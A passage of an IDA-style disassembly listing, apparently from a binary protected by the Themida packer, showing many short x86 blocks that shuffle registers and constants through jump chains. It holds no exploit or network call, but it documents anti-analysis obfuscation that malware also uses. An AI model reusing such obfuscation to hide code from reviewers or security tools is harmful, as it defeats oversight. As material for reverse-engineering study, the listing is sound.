		jmp	loc_55EBCA
; ---------------------------------------------------------------------------


loc_563406:				; CODE XREF: sub_562ABA-34B2j
		add	dl, 44h
		mov	ch, dl
		pop	edx
		add	ch, bh
		mov	ebx, [esp-20h+arg_1C]
		jmp	loc_56235E
; ---------------------------------------------------------------------------


loc_563416:				; CODE XREF: sub_562ABA+A518j
		push	5B82h
		jmp	loc_56F7E4
; ---------------------------------------------------------------------------


loc_563420:				; CODE XREF: sub_562ABA+3A4j
		add	edx, 640F7B9Eh
		add	edx, 7C16597Dh
		jmp	loc_56ABC5
; ---------------------------------------------------------------------------


loc_563431:				; CODE XREF: sub_560BA1+19j
		mov	ebp, 64AB680Ch
		mov	edx, 1274A48Eh
		add	edx, ebp
		mov	ebp, [esp+12h+var_12]
		jmp	loc_56F15E
; ---------------------------------------------------------------------------


loc_563445:				; CODE XREF: sub_562ABA-4935j
		push	[esp+0Ah+var_8+2]
		pop	eax
		pop	[esp+0Ah+var_C+2]
		jmp	loc_567094
; ---------------------------------------------------------------------------


loc_563452:				; CODE XREF: sub_562ABA+3A69j
		sub	esp, 4
		mov	[esp+0Ah+var_C+2], ebx
		jmp	loc_568B28
; ---------------------------------------------------------------------------


loc_56345D:				; CODE XREF: sub_562ABA+157j
		push	edx
		push	74A3h
		jmp	loc_561718
; ---------------------------------------------------------------------------


loc_563468:				; CODE XREF: sub_562ABA+DBE9j
		sub	edi, 4
		xchg	edi, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_56ADFD
; ---------------------------------------------------------------------------


loc_563476:				; CODE XREF: sub_560757+1j
		mov	ebx, 65AE0E03h
		or	eax, ebx
		mov	ebx, [esp+0]
		add	esp, 4
		jmp	loc_56F896
; ---------------------------------------------------------------------------


loc_563488:				; CODE XREF: sub_562ABA+2FAFj
		push	56F10FF3h
		mov	esi, [esp+0]
		add	esp, 4
		not	esi
		push	ecx
		push	esi
		mov	esi, 0DAC38B7h
		mov	ecx, 5443B660h
		sub	ecx, esi
		pop	esi
		jmp	loc_56E77F
; ---------------------------------------------------------------------------


loc_5634AC:				; CODE XREF: sub_562ABA+7189j
		mov	edi, 5D2467BEh
		jmp	loc_5639B9
; ---------------------------------------------------------------------------


loc_5634B6:				; CODE XREF: sub_562ABA+75Dj
		mov	ebx, 0E79D12B3h
		jmp	loc_56862B
; ---------------------------------------------------------------------------


loc_5634C0:				; CODE XREF: sub_562ABA+BAD0j
		add	ebx, edi
		push	[esp+0Ch+var_C]
		mov	edi, [esp+10h+var_12+2]
		jmp	loc_56B02D
; ---------------------------------------------------------------------------


loc_5634CD:				; CODE XREF: sub_562ABA+709Ej
		push	eax
		mov	eax, 4
		jmp	loc_566507
; ---------------------------------------------------------------------------


loc_5634D8:				; CODE XREF: sub_55E87E+12j
		pop	ebp
		add	edx, 3EE86477h
		add	edx, edi
		jmp	loc_568C9E
; ---------------------------------------------------------------------------


loc_5634E6:				; CODE XREF: sub_562ABA+95C1j
		pop	eax
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_5634EC:				; CODE XREF: sub_562ABA+6264j
		push	esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp+14h+var_16+2], ecx
		jmp	loc_564353
; ---------------------------------------------------------------------------


loc_5634FA:				; CODE XREF: sub_55FCA5+207j
		xor	eax, [esp+14h+var_16+2]
		xor	[esp+14h+var_16+2], eax
		xor	eax, [esp+14h+var_16+2]
		pop	esp
		push	7EDFh
		mov	[esp+14h+var_16+2], esi
		jmp	loc_56FC5F
; ---------------------------------------------------------------------------


loc_563511:				; CODE XREF: sub_562ABA+266Dj
		mov	edi, 3CAC2728h
		inc	edi
		push	ecx
		mov	ecx, 0B244A30h
		jmp	loc_563295
; ---------------------------------------------------------------------------


loc_563522:				; CODE XREF: sub_562ABA-7A2j
		add	ebx, 0B328DEDEh
		push	esi
		push	ebx
		add	[esp+4Ah+var_4A], 6CCB13DFh
		pop	esi
		jmp	loc_5611EE
; ---------------------------------------------------------------------------


loc_563537:				; CODE XREF: sub_562ABA-D0Ej
		add	esp, 4
		sub	ebp, ebx
		jmp	loc_56F6A4
; ---------------------------------------------------------------------------


loc_563544:				; CODE XREF: sub_562ABA+EFB9j
		xor	ebp, [esp+3Ah+var_3A]
		pop	esp
		jmp	loc_5666EE
; ---------------------------------------------------------------------------


loc_56354D:				; CODE XREF: sub_562ABA+15ADj
		mov	ecx, 4
		push	ecx
		add	[esp+3Ah+var_3A], 37852610h
		pop	edx
		sub	edx, 37852610h
		pop	ecx
		add	esi, edx
		mov	edx, [esp+32h+var_32]
		push	ebp
		mov	ebp, esp
		jmp	loc_56520B
; ---------------------------------------------------------------------------


loc_56356F:				; CODE XREF: sub_562ABA+962Cj
		pop	ecx
		mov	bh, al
		mov	eax, [esp+32h+var_32]
		add	esp, 4
		shr	bh, 4
		neg	bh
		sub	bh, 95h
		sub	al, 2Eh
		sub	al, bh
		add	al, 2Eh
		mov	ebx, [esp+0]
		jmp	loc_5631CD
; ---------------------------------------------------------------------------


loc_56358E:				; CODE XREF: sub_55FCA5+30j
		push	edi
		mov	edi, 557A5EBDh
		sub	edi, 2AE2799Dh
		jmp	loc_56AFC0
; ---------------------------------------------------------------------------


loc_56359F:				; CODE XREF: sub_562ABA+55B2j
		pop	edx
		dec	esi
		jmp	loc_56376A
; ---------------------------------------------------------------------------


loc_5635A6:				; CODE XREF: sub_562ABA+3C65j
		pop	eax
		jmp	loc_572A2C
; ---------------------------------------------------------------------------


loc_5635AC:				; CODE XREF: sub_562ABA+9ED1j
		add	edx, 61EC771Fh
		jmp	loc_56D4A5
; ---------------------------------------------------------------------------


loc_5635B7:				; CODE XREF: sub_562ABA+62B0j
		mov	ecx, 309521B0h
		push	ecx
		not	dword ptr [esp+0]
		jmp	loc_56DA2F
; ---------------------------------------------------------------------------


loc_5635C5:				; CODE XREF: sub_562ABA+E6F3j
		push	ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 558275CAh
		add	ebp, 32E92880h
		add	ebp, 0F0E3FAEh
		sub	ebp, 56BA1D2Dh
		dec	ebp
		sub	ebp, 25737583h
		sub	esp, 4
		mov	[esp+3Ah+var_3A], eax
		jmp	loc_5672A5
; ---------------------------------------------------------------------------


loc_5635F2:				; CODE XREF: sub_562ABA+3A2Fj
		mov	esp, [esp+3Ah+var_3A]
		mov	[esp+3Ah+var_3A], eax
		push	ecx
		mov	eax, [esp+3Eh+var_3E]
		push	69BDh
		mov	[esp+42h+var_42], ecx
		mov	ecx, esp
		push	eax
		mov	eax, 647F2CEAh
		shl	eax, 1
		jmp	loc_566565
; ---------------------------------------------------------------------------


loc_563613:				; CODE XREF: sub_562ABA+B552j
		push	3876h
		mov	[esp+4Ah+var_4A], edx
		push	[esp+4Ah+var_4A]
		pop	eax
		add	esp, 4
		mov	edx, [esp+46h+var_46]
		add	esp, 4
		push	ebp
		push	ebx
		push	ebp
		push	eax
		mov	eax, 227D61E9h
		mov	ebp, 40BA2468h
		xor	ebp, eax
		pop	eax
		inc	ebp
		xor	ebp, 61651D4Fh
		push	ebp
		xchg	ecx, [esp+52h+var_52]
		jmp	loc_5657BF
; ---------------------------------------------------------------------------


loc_56364F:				; CODE XREF: sub_562ABA+AE27j
		push	esi
		mov	esi, 0ADE5999h
		xor	esi, 4D8A4CDAh
		jmp	loc_56460D
; ---------------------------------------------------------------------------


loc_563660:				; CODE XREF: sub_562ABA-1690j
		mov	esi, 52683232h
		neg	esi
		not	esi
		inc	esi
		jmp	loc_563374
; ---------------------------------------------------------------------------


loc_56366F:				; CODE XREF: sub_562ABA+9124j
		dec	eax
		not	eax
		xor	eax, 861CED18h
		sub	ebx, eax
		pop	eax
		push	edx
		mov	edx, 710145ADh
		xor	edx, 0FD80CA03h
		jmp	loc_565D27
; ---------------------------------------------------------------------------


loc_56368B:				; CODE XREF: sub_562ABA+6A1Cj
		sub	bl, ah
		add	bl, 16h
		pop	ax
		movzx	eax, al
		jmp	loc_56272A
; ---------------------------------------------------------------------------


loc_56369A:				; CODE XREF: sub_562ABA+B65Aj
		sub	edi, esi
		sub	edi, 6F7043F1h
		pop	esi
		jmp	loc_56C28F
; ---------------------------------------------------------------------------


loc_5636A8:				; CODE XREF: sub_562ABA-1B0Dj
		add	edi, 4
		xchg	edi, [esp+46h+var_46]
		jmp	loc_56555A
; ---------------------------------------------------------------------------


loc_5636B3:				; CODE XREF: sub_562ABA+EB93j
		xor	edi, 0D5AA5F0Ch
		add	ebx, edi
		pop	edi
		add	ebx, 4
		push	ebx
		push	[esp+46h+var_42]
		mov	ebx, [esp+4Ah+var_4A]
		jmp	loc_56967B
; ---------------------------------------------------------------------------


loc_5636CF:				; CODE XREF: sub_562ABA-F07j
		sub	esp, 4
		mov	[esp+0], edx
		push	esi
		push	ecx
		mov	ecx, 284B4C73h
		jmp	loc_56B119
; ---------------------------------------------------------------------------


loc_5636E1:				; CODE XREF: sub_562ABA+1258j
		sub	edx, ebx
		jmp	loc_564B30
; ---------------------------------------------------------------------------


loc_5636E8:				; CODE XREF: sub_562ABA+6A96j
		mov	eax, [esp+16h+var_16]
		push	edi
		jmp	loc_56203F
; ---------------------------------------------------------------------------


loc_5636F1:				; CODE XREF: sub_562ABA+9796j
		mov	eax, 4E7350BBh
		add	eax, 70DA2809h
		or	eax, 518A3106h
		or	eax, 43B700E9h
		jmp	loc_56F9D9
; ---------------------------------------------------------------------------


loc_56370A:				; CODE XREF: sub_562ABA+377j
		mov	[esp+4Ah+var_4A], ebx
		push	4B6Ah
		mov	[esp+4Eh+var_4E], eax
		mov	eax, 65A94F84h
		jmp	loc_56C7BB
; ---------------------------------------------------------------------------


loc_56371F:				; CODE XREF: sub_562ABA+7864j
		add	eax, 7CB2296Ch
		push	[esp+4Eh+var_4E]
		mov	esi, [esp+52h+var_52]
		jmp	loc_55E4F0
; ---------------------------------------------------------------------------


loc_56372F:				; CODE XREF: sub_562ABA+9718j
		sub	ebx, 48F2733Bh
		sub	ebx, esi
		add	ebx, 48F2733Bh
		mov	esi, [esp+52h+var_52]
		add	esp, 4
		sub	ebx, eax
		add	ebx, 0D351169h
		jmp	loc_5654F4
; ---------------------------------------------------------------------------


loc_563750:				; CODE XREF: sub_562ABA+C28Bj
		mov	[esp+4Eh+var_4E], esp
		add	[esp+4Eh+var_4E], 4
		pop	edi
		jmp	loc_56F797
; ---------------------------------------------------------------------------


loc_56375D:				; CODE XREF: sub_562ABA+D7Fj
		sub	eax, edx
		pop	edx
		sub	esi, eax
		mov	eax, [esp+46h+var_46]
		jmp	loc_56B248
; ---------------------------------------------------------------------------


loc_56376A:				; CODE XREF: sub_562ABA+AE7j
		neg	esi
		add	esi, 492A6009h
		add	eax, esi
		mov	esi, [esp+0]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_56B80F
; ---------------------------------------------------------------------------


loc_563785:				; CODE XREF: sub_562ABA+F9D7j
		mov	ecx, [esp+32h+var_32]
		push	eax
		jmp	loc_56B176
; ---------------------------------------------------------------------------


loc_56378E:				; CODE XREF: sub_55F392+Aj
		add	ah, 0C7h
		push	[esp+36h+var_36]
		mov	ebx, [esp+3Ah+var_3A]
		add	esp, 4
		jmp	loc_5614DD
; ---------------------------------------------------------------------------


loc_5637A2:				; CODE XREF: sub_562ABA+728Ej
		add	edi, ebp
		pop	ebp
		push	ebp
		mov	ebp, 2
		add	edi, ebp
		push	[esp+36h+var_36]
		mov	ebp, [esp+3Ah+var_3A]
		add	esp, 4
		push	ebx
		push	esp
		pop	ebx
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		mov	ebp, [esp+3Eh+var_3E]
		jmp	loc_56A8CC
; ---------------------------------------------------------------------------


loc_5637CC:				; CODE XREF: sub_562ABA-326Dj
		sub	esi, 36C35838h
		pop	ebp
		add	edx, esi
		jmp	loc_56ECB8
; ---------------------------------------------------------------------------


loc_5637DA:				; CODE XREF: sub_562ABA-3E5Aj
		add	ebp, edi
		pop	edi
		jmp	loc_55FBDD
; ---------------------------------------------------------------------------


loc_5637E2:				; CODE XREF: sub_562ABA+748Cj
		mov	edi, [esp+22h+var_22]
		add	esp, 4
		jmp	loc_5603C1
; ---------------------------------------------------------------------------


loc_5637F0:				; CODE XREF: sub_562ABA+E3CEj
		add	edi, ebp
		pop	ebp
		push	ebp
		mov	ebp, 2F7544C2h
		add	edi, ebp
		mov	ebp, [esp+1Eh+var_1E]
		add	esp, 4
		push	[esp+1Ah+var_1A]
		jmp	loc_56E01B
; ---------------------------------------------------------------------------


loc_563809:				; CODE XREF: sub_562ABA-1B5Ej
		xchg	ebx, esi
		push	edi
		mov	edi, 6BA6E5Dh
		and	esi, edi
		pop	edi
		sub	esi, 3F80805h
		add	ebp, 37062BEFh
		sub	ebp, esi
		sub	ebp, 37062BEFh
		pop	esi
		jmp	loc_56E455
; ---------------------------------------------------------------------------


loc_56382E:				; CODE XREF: sub_562ABA+9E89j
		mov	edx, 15827475h
		xor	edx, 66B618AFh
		jmp	loc_56375D
; ---------------------------------------------------------------------------


loc_56383E:				; CODE XREF: sub_562ABA+CD3Ej
		add	ecx, 4
		push	edi
		mov	edi, 0F78772Eh
		jmp	loc_5614D0
; ---------------------------------------------------------------------------


loc_56384F:				; CODE XREF: sub_562ABA-2F7Bj
		add	[esp+16h+var_12], 0A640027h
		jmp	loc_563A2D
; ---------------------------------------------------------------------------


loc_56385C:				; CODE XREF: sub_562ABA+F05Aj
		push	esp
		pop	ebx
		jmp	loc_562A4F
; ---------------------------------------------------------------------------


loc_563863:				; CODE XREF: sub_562ABA+C99Ej
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+16h+var_16]
		pop	esp
		mov	[esp+12h+var_12], eax
		jmp	loc_5613D0
; ---------------------------------------------------------------------------


loc_563878:				; CODE XREF: sub_562ABA+78F5j
		neg	ebx
		add	ebx, 4D3A358Fh
		push	ebx
		jmp	loc_562BF6
; ---------------------------------------------------------------------------


loc_563886:				; CODE XREF: sub_562ABA+340Fj
		mov	[esp+16h+var_16], edx
		push	eax
		push	1C1E38D8h
		pop	eax
		sub	eax, 6D1847E4h
		inc	eax
		sub	eax, 0AF05F0D5h
		push	eax
		sub	[esp+1Eh+var_1E], 6B6A5C05h
		pop	edx
		add	edx, 6B6A5C05h
		pop	eax
		add	edx, edi
		push	eax
		pop	dword ptr [edx]
		mov	edx, [esp+16h+var_16]
		add	esp, 4
		pop	eax
		push	edx
		jmp	loc_56409F
; ---------------------------------------------------------------------------


loc_5638BD:				; CODE XREF: sub_562ABA+803Aj
		pop	ebp
		xor	ebp, 27A4649h
		pop	ebx
		and	eax, ebp
		push	[esp+0Ah+var_C+2]
		jmp	loc_5621B2
; ---------------------------------------------------------------------------


loc_5638CF:				; CODE XREF: sub_562ABA+B5A0j
		sub	[esp+0Eh+var_8+2], 1B487FCEh
		push	edi
		jmp	loc_571B19
; ---------------------------------------------------------------------------


loc_5638DD:				; CODE XREF: sub_562ABA-38D7j
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+48h+var_4A+2]
		jmp	loc_564AED
; ---------------------------------------------------------------------------


loc_5638F2:				; CODE XREF: sub_562ABA+2F31j
		add	edi, eax
		sub	edi, 7BC30E46h
		pop	eax
		push	edi
		push	[esp+48h+var_46+2]
		pop	edi
		pop	[esp+48h+var_4A+2]
		pop	esp
		or	edx, eax
		shl	edx, 1
		jmp	loc_562E1C
; ---------------------------------------------------------------------------


loc_56390E:				; CODE XREF: sub_562ABA+4AA7j
		mov	ebp, edi
		pop	edi
		sub	ebp, 0C6EE6ADh
		add	esi, ebp
		mov	ebp, [esp+3Ch+var_3E+2]
		add	esp, 4
		pop	edi
		jmp	loc_56F499
; ---------------------------------------------------------------------------


loc_563925:				; CODE XREF: sub_562ABA+8DFAj
		sub	esp, 4
		mov	[esp+38h+var_3A+2], esi
		jmp	loc_5633FE
; ---------------------------------------------------------------------------


loc_563930:				; CODE XREF: sub_562ABA-11ADj
		push	dword ptr [esp+4]
		pop	esi
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		mul	cx
		push	small 181Bh
		mov	word ptr [esp+2+var_4+2], dx
		push	ax
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56394E:				; CODE XREF: sub_562ABA-1C0j
		mov	[esp+32h+var_32], ebp
		mov	ebp, 42E95B28h
		sub	ebx, ebp
		pop	ebp
		or	ebx, 0C6C0EF2h
		add	ebx, 11004107h
		mov	ecx, ebx
		push	dword ptr [esp+0]
		mov	ebx, [esp+32h+var_32]
		add	esp, 4
		push	7B16h
		mov	[esp+32h+var_32], eax
		jmp	loc_56679F
; ---------------------------------------------------------------------------


loc_563980:				; CODE XREF: sub_562ABA-1768j
		push	[esp-4+arg_0]
		pop	ebp
		add	esp, 4
		xor	esi, [esp-8+arg_4]
		xor	[esp-8+arg_4], esi
		xor	esi, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		push	4DE3h
		mov	[esp-4+arg_0], ecx
		push	eax
		mov	eax, 193E3274h
		mov	ecx, 7D90AEADh
		sub	ecx, eax
		pop	eax
		push	ebx
		push	edi
		push	5F8A6FA7h
		pop	edi
		jmp	loc_569B5D
; ---------------------------------------------------------------------------


loc_5639B9:				; CODE XREF: sub_562ABA+9F7j
		mov	edx, 954FDDD4h
		add	edx, 28814882h
		sub	edx, 14375773h
		sub	edx, edi
		add	edx, 14375773h
		jmp	loc_56B236
; ---------------------------------------------------------------------------


loc_5639D7:				; CODE XREF: sub_562ABA+5505j
		mov	ebx, [esp+0]
		add	esp, 4
		mov	esi, [esp+0Ah+var_C+2]
		sub	esp, 4
		mov	[esp+0], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0]
		jmp	loc_569720
; ---------------------------------------------------------------------------


loc_5639FA:				; CODE XREF: sub_562ABA-3B1Dj
		pop	edi
		add	ecx, eax
		push	eax
		mov	eax, 3735607Eh
		not	eax
		inc	eax
		push	ebx
		jmp	loc_5707C9
; ---------------------------------------------------------------------------


loc_563A0C:				; CODE XREF: sub_55F777+Cj
		shl	ebp, 7
		sub	ebp, 52E174E1h
		jmp	loc_571935
; ---------------------------------------------------------------------------


loc_563A1A:				; CODE XREF: sub_5720B7+Aj
		push	ecx
		mov	ecx, 1DD26500h
		push	ecx
		xor	[esp+3Ah+var_3A], 3C82790Dh
		jmp	loc_57132C
; ---------------------------------------------------------------------------


loc_563A2D:				; CODE XREF: sub_562ABA+D9Dj
		add	[esp+16h+var_12], edi
		sub	[esp+16h+var_12], 0A640027h
		add	[esp+16h+var_12], 66220272h
		sub	[esp+16h+var_12], 3615764h
		sub	esp, 4
		mov	[esp+1Ah+var_1A], edx
		push	23E6h
		mov	[esp+1Eh+var_1E], ecx
		mov	ecx, 469E308Ah
		jmp	loc_56A547
; ---------------------------------------------------------------------------


loc_563A61:				; CODE XREF: sub_562ABA+9B23j
		pop	ebx
		push	bx
		mov	bl, 0F3h
		xor	ch, bl
		jmp	loc_56449E
; ---------------------------------------------------------------------------


loc_563A6D:				; CODE XREF: sub_562ABA-8A8j
		mov	[esp+18h+var_1A+2], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+18h+var_1A+2]
		pop	esp
		mov	[esp+14h+var_16+2], ecx
		push	3FAF8955h
		pop	ecx
		jmp	loc_567BF1
; ---------------------------------------------------------------------------


loc_563A8C:				; CODE XREF: sub_562ABA+78C4j
		mov	ebx, ebp
		mov	ebp, [esp+14h+var_16+2]
		add	esp, 4
		mov	eax, 279D30D2h
		jmp	loc_566209
; ---------------------------------------------------------------------------


loc_563A9E:				; CODE XREF: sub_562ABA-7B8j
		not	ebp
		xchg	ebp, ecx
		xor	[esp+46h+var_46], ecx
		xor	ecx, [esp+46h+var_46]
		xor	[esp+46h+var_46], ecx
		mov	eax, [esp+46h+var_46]
		push	edx
		jmp	loc_55FC0C
; ---------------------------------------------------------------------------


loc_563AB4:				; CODE XREF: sub_562ABA+C0A6j
		pop	edx
		jmp	loc_5606BB
; ---------------------------------------------------------------------------


loc_563ABA:				; CODE XREF: sub_562ABA+6E1j
		add	eax, 0CAA3C61h
		xor	ecx, eax
		jmp	loc_56D024
; ---------------------------------------------------------------------------


loc_563AC6:				; CODE XREF: sub_562ABA+6B0Ej
		pop	dword ptr [edi+24h]


loc_563AC9:				; CODE XREF: sub_562ABA+15CCj
		push	esi
		jmp	loc_565376
; ---------------------------------------------------------------------------


loc_563ACF:				; CODE XREF: sub_562ABA+B808j
		mov	[esp-0Ch+arg_8], ebx
		jmp	loc_55F7E7
; ---------------------------------------------------------------------------


loc_563AD7:				; CODE XREF: sub_562ABA-FEEj
		xchg	eax, [esp+26h+var_28+2]
		pop	esp
		mov	ax, word ptr [esp+22h+var_22]
		push	293Ah
		jmp	loc_55FB44
; ---------------------------------------------------------------------------


loc_563AE9:				; CODE XREF: sub_562ABA-1C38j
		sub	ebp, 397D0B14h
		mov	ecx, [esp+48h+var_4A+2]
		push	ebp
		jmp	loc_56A9F8
; ---------------------------------------------------------------------------


loc_563AF8:				; CODE XREF: sub_562ABA+443Ej
		mov	esi, esp
		add	esi, 4
		push	ecx
		jmp	loc_562B6E
; ---------------------------------------------------------------------------


loc_563B06:				; CODE XREF: sub_562ABA+3970j
		mov	eax, edx
		pop	edx
		push	936C8FC0h
		pop	ebx
		add	ebx, 1A8116B0h
		add	ebx, eax
		jmp	loc_56B779
; ---------------------------------------------------------------------------


loc_563B1C:				; CODE XREF: sub_562ABA-2243j
		mov	ebx, [esp+42h+var_42]
		jmp	loc_56DA5D
; ---------------------------------------------------------------------------


loc_563B24:				; CODE XREF: sub_562ABA+A612j
		push	edx
		mov	edx, 5FDA151Eh
		xchg	ebp, edx
		dec	ebp
		xchg	ebp, edx
		jmp	loc_55EFA2
; ---------------------------------------------------------------------------


loc_563B34:				; CODE XREF: sub_562ABA+FB77j
		mov	esi, [esp+46h+var_46]
		add	esp, 4
		add	esp, 4
		or	eax, eax
		jz	loc_564D9F
		push	dword ptr [edi+1Ch]
		push	5F8Bh
		jmp	loc_569573
; ---------------------------------------------------------------------------


loc_563B58:				; CODE XREF: sub_562ABA+5E68j
		shr	eax, 8
		and	eax, 4B1F69B6h
		jmp	sub_55FCA5
; ---------------------------------------------------------------------------


loc_563B65:				; CODE XREF: sub_562ABA+2A09j
		add	esp, 4
		mov	edx, [esp+42h+var_42]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		jmp	loc_56E491
; ---------------------------------------------------------------------------


loc_563B84:				; CODE XREF: sub_562ABA+8777j
		push	esi
		push	ebx
		mov	ebx, 24B1490Eh
		shl	ebx, 3
		neg	ebx
		xor	ebx, 44366E43h
		add	ebx, 243D7128h
		jmp	loc_563EC9
; ---------------------------------------------------------------------------


loc_563BA1:				; CODE XREF: sub_562ABA+F6F8j
		pop	edi
		xor	ecx, 32F1232Fh
		push	ebp
		mov	ebp, 3C6B2855h
		inc	ebp
		xor	ebp, 26A30694h
		jmp	loc_571EC5
; ---------------------------------------------------------------------------


loc_563BBA:				; CODE XREF: sub_562ABA-3B33j
		mov	eax, 7A146BEh
		xor	eax, 3EF42097h
		add	edx, eax
		pop	eax
		sub	edx, eax
		sub	edx, 39556629h
		push	ebp
		jmp	loc_56A184
; ---------------------------------------------------------------------------


loc_563BD5:				; CODE XREF: sub_562ABA+431Ej
		xchg	eax, ebp
		jmp	loc_56C074
; ---------------------------------------------------------------------------


loc_563BDB:				; CODE XREF: Themida_:00562708j
		mov	[esp+0], ecx
		push	esi
		mov	esi, esp
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		push	edi
		mov	edi, 4
		sub	esi, edi
		pop	edi
		xchg	esi, [esp+32h+var_32]
		jmp	loc_55EC21
; ---------------------------------------------------------------------------


loc_563BFB:				; CODE XREF: sub_562ABA-1B85j
		xchg	edx, [esp+44h+var_46+2]
		pop	esp


loc_563BFF:				; CODE XREF: sub_562ABA-109Bj
		sub	esp, 4
		mov	[esp+44h+var_46+2], edx
		push	esi
		push	esp
		mov	esi, [esp+4Ch+var_4E+2]
		jmp	loc_564325
; ---------------------------------------------------------------------------


loc_563C12:				; CODE XREF: sub_562ABA+3929j
		sub	bh, 9Bh
		jmp	loc_5670FE
; ---------------------------------------------------------------------------


loc_563C1A:				; CODE XREF: sub_562ABA-3E28j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5685CB
; ---------------------------------------------------------------------------


loc_563C27:				; CODE XREF: sub_562ABA+F11Dj
		mov	eax, [esp+0]
		jmp	loc_564C68
; ---------------------------------------------------------------------------


loc_563C2F:				; CODE XREF: sub_562ABA+6A65j
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp+2Ah+var_2C+2]
		jmp	loc_56CB5C
; ---------------------------------------------------------------------------


loc_563C3A:				; CODE XREF: sub_562ABA+F100j
		push	3302h
		mov	[esp+0], ecx
		push	4CBBh
		push	esp
		jmp	loc_56732B
; ---------------------------------------------------------------------------


loc_563C4D:				; CODE XREF: sub_562ABA+F132j
		mov	esi, 4
		add	ebx, esi
		pop	esi
		jmp	loc_56AD80
; ---------------------------------------------------------------------------


loc_563C5A:				; CODE XREF: sub_562ABA+6B08j
		sub	esi, 0FFFFFFFFh
		jmp	loc_56A9DE
; ---------------------------------------------------------------------------


loc_563C65:				; CODE XREF: sub_562ABA+48EFj
		and	edx, 542F12DEh
		push	eax
		mov	eax, 297C1FB1h
		xor	eax, 79BD2623h
		add	edx, eax
		jmp	loc_564DCA
; ---------------------------------------------------------------------------


loc_563C7D:				; CODE XREF: sub_562ABA+6CD1j
		or	esi, 1BC10A59h
		push	eax
		mov	eax, 482A6C53h
		neg	eax
		jmp	loc_568C0E
; ---------------------------------------------------------------------------


loc_563C90:				; CODE XREF: sub_562ABA+CAB6j
		push	ebp
		jmp	loc_56BE78
; ---------------------------------------------------------------------------


loc_563C96:				; CODE XREF: sub_562ABA-44DCj
		pop	esi
		jmp	loc_563FD8
; ---------------------------------------------------------------------------


loc_563C9C:				; CODE XREF: sub_562ABA-144Fj
		push	esi
		mov	esi, 447E081Eh
		mov	edx, esi
		pop	esi
		jmp	loc_56BD54
; ---------------------------------------------------------------------------


loc_563CAA:				; CODE XREF: sub_562ABA+A4A6j
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_566709
; ---------------------------------------------------------------------------


loc_563CB4:				; CODE XREF: sub_562ABA+EFC4j
		add	ebp, esi
		add	ebp, 237F26A5h
		jmp	loc_5667A6
; ---------------------------------------------------------------------------


loc_563CC1:				; CODE XREF: sub_55E72D+Bj
		pop	eax
		pop	ebp
		push	esi
		dec	dword ptr [esp+0]
		jmp	loc_56181C
; ---------------------------------------------------------------------------


loc_563CCC:				; CODE XREF: sub_562ABA-343Cj
		mov	ebp, 16B7546Fh
		xor	ebp, esi
		pop	esi
		add	ebx, ebp
		push	[esp+12h+var_12]
		jmp	loc_56BC6F
; ---------------------------------------------------------------------------


loc_563CDE:				; CODE XREF: sub_562ABA+E7F9j
		sub	edi, 0CD055E2h
		sub	edi, ebx
		push	ecx
		mov	ecx, 0CD055E2h
		add	edi, ecx
		jmp	loc_564A72
; ---------------------------------------------------------------------------


loc_563CF3:				; CODE XREF: sub_55FCA5+32Cj
		xor	edi, [esp+1Ah+var_1A]
		xor	[esp+1Ah+var_1A], edi
		xor	edi, [esp+1Ah+var_1A]
		pop	esp
		sub	esp, 4
		mov	[esp+1Ah+var_1A], edx
		mov	edx, 0A816EAh
		dec	edx
		push	ebx
		mov	ebx, 54670B4Dh
		jmp	loc_5636E1
; ---------------------------------------------------------------------------


loc_563D17:				; CODE XREF: sub_562ABA+8381j
		mov	eax, 4D1A3F2Ch
		xor	esi, eax
		pop	eax
		sub	edi, 4FA625E3h
		jmp	loc_560D5D
; ---------------------------------------------------------------------------


loc_563D2A:				; CODE XREF: sub_562ABA+F398j
		mov	bh, dl
		mov	al, bh
		pop	ebx
		jmp	loc_560004
; ---------------------------------------------------------------------------


loc_563D34:				; CODE XREF: sub_562ABA+4842j
		or	ebp, 55F74CB0h
		inc	ebp
		xor	ebp, 55F7FFFDh
		add	ecx, ebp
		mov	ebp, [esp+16h+var_16]
		jmp	loc_563FBA
; ---------------------------------------------------------------------------


loc_563D4B:				; CODE XREF: sub_562ABA-252Cj
		mov	[esp+26h+var_28+2], edx
		jmp	loc_56CF9D
; ---------------------------------------------------------------------------


loc_563D53:				; CODE XREF: sub_562ABA+EA9Fj
		sub	esp, 4
		jmp	loc_572AA1
; ---------------------------------------------------------------------------


loc_563D5B:				; CODE XREF: sub_562ABA+9FC8j
		sub	esp, 4
		jmp	loc_568546
; ---------------------------------------------------------------------------


loc_563D66:				; CODE XREF: sub_562ABA+6834j
		push	ebp
		mov	ebp, 7DBA025Ch
		xor	ebp, 5CDC0D4Ch
		or	ebp, 77B454DDh
		sub	ebp, 12754B37h
		sub	ebp, 223D95E0h
		mov	esi, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp+32h+var_32], ebx
		mov	ebx, 64D7960h
		add	esi, 4FF878B7h
		sub	esi, 1B7B1FB9h
		add	esi, ebx
		push	7FD2h
		mov	[esp+36h+var_36], ebx
		mov	ebx, 1B7B1FB9h
		jmp	loc_569C81
; ---------------------------------------------------------------------------


loc_563DB2:				; CODE XREF: sub_562ABA+271Dj
		mov	edx, esp
		jmp	loc_566328
; ---------------------------------------------------------------------------


loc_563DB9:				; CODE XREF: sub_562ABA+BE79j
		inc	edx
		add	edx, 7FA79BC9h
		jmp	loc_56A290
; ---------------------------------------------------------------------------


loc_563DC5:				; CODE XREF: sub_562ABA+5461j
		mov	[esp+36h+var_36], edx
		push	7637h
